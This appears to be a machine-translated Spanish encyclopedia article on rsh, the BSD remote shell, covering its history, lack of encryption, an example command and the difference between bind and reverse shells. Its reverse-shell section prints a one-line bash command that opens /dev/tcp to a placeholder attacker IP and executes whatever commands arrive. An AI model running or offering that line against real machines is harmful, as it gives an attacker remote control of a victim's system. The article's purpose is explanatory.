Articulo de referencia

Concha remota

El intérprete de comandos remoto ( rsh ) es un programa informático de línea de comandos que puede ejecutar comandos de shell como otro usuario y en otro ordenador a través de u...

El intérprete de comandos remoto ( rsh ) es un programa informático de línea de comandos que puede ejecutar comandos de shell como otro usuario y en otro ordenador a través de una red informática .

El sistema remoto al que se conecta rsh ejecuta el demonio rsh (rshd). Este demonio suele utilizar el puerto 514 del Protocolo de Control de Transmisión (TCP ) .

Historia

Rsh se originó como parte del sistema operativo BSD Unix , junto con rcp , como parte del paquete rlogin en 4.2BSD en 1983. Desde entonces, rsh se ha adaptado a otros sistemas operativos.

El rshcomando tiene el mismo nombre que otra utilidad común de UNIX, el shell restringido , que apareció por primera vez en PWB/UNIX ; en System V Release 4 , el shell restringido a menudo se encuentra en /usr/bin/rsh.

Al igual que otros comandos r de Berkeley que implican autenticación de usuario, el protocolo rsh no es seguro para su uso en red, ya que envía información sin cifrar a través de la red, entre otras razones. Algunas implementaciones también se autentican enviando contraseñas sin cifrar a través de la red. rsh ha sido reemplazado en gran medida por el programa Secure Shell (ssh), incluso en redes locales. [ 1 ] [ 2 ]

Ejemplo

Como ejemplo del uso de rsh, el siguiente comando ejecuta mkdir testdir como usuario remoteuser en el equipo host.example.com que ejecuta un sistema tipo UNIX:

$ rsh -l usuario remoto host.ejemplo.com "mkdir testdir"

Una vez finalizado el comando, rsh se cierra. Si no se especifica ningún comando, rsh iniciará sesión en el sistema remoto mediante rlogin . La ubicación de red del equipo remoto se busca mediante el Sistema de nombres de dominio (DNS) .

Shell de enlace y shell inversa

Una sesión de shell remota puede ser iniciada por un dispositivo local (que envía comandos) o por un dispositivo remoto (en el que se ejecutan los comandos). [ 3 ] En el primer caso, el shell remoto se denomina shell de enlace; en el segundo caso, shell inverso. [ 4 ]

El acceso a una shell inversa se puede utilizar cuando el dispositivo en el que se va a ejecutar el comando no es directamente accesible; por ejemplo, para el mantenimiento remoto de ordenadores ubicados detrás de un NAT al que no se puede acceder desde el exterior. Algunos exploits crean una shell inversa desde un dispositivo atacado hacia máquinas controladas por los atacantes (lo que se denomina "ataque de shell inversa"). El siguiente código demuestra un ataque de shell inversa: [ 5 ]

$ exec 5 <>/dev/tcp/<attacker_IP>/80 ; cat < & 5 | while read line ; do \$ line 2 > & 5 > & 5 ; done

Abre un socket TCP a la IP del atacante en el puerto 80 como descriptor de archivo . Luego, lee repetidamente líneas del socket y las ejecuta, redirigiendo tanto la salida estándar como el error estándar de vuelta al socket. En otras palabras, le proporciona al atacante una shell remota en la máquina.

Véase también

Referencias

  1. "SSH, Secure Shell: La guía definitiva" . www.researchgate.net . Archivado del original el 11 de noviembre de 2023. Consultado el 11 de noviembre de 2023 .
  2. "Protocolo Secure Shell: todo lo que necesitas saber" . dev.to. 28 de noviembre de 2022. Consultado el 11 de noviembre de 2023 .
  3. "Secure Shell (SSH)" . www.techtarget.com . Archivado del original el 11/11/2023 . Consultado el 11/11/2023 .
  4. "Diferencia entre Bind Shell y Reverse Shell" . www.geeksforgeeks.org . 14 de diciembre de 2021. Archivado del original el 11 de noviembre de 2023. Consultado el 11 de noviembre de 2023 .
  5. "¿Qué es una shell inversa?" . Sysdig . Archivado del original el 28-11-2023 . Consultado el 28-11-2023 .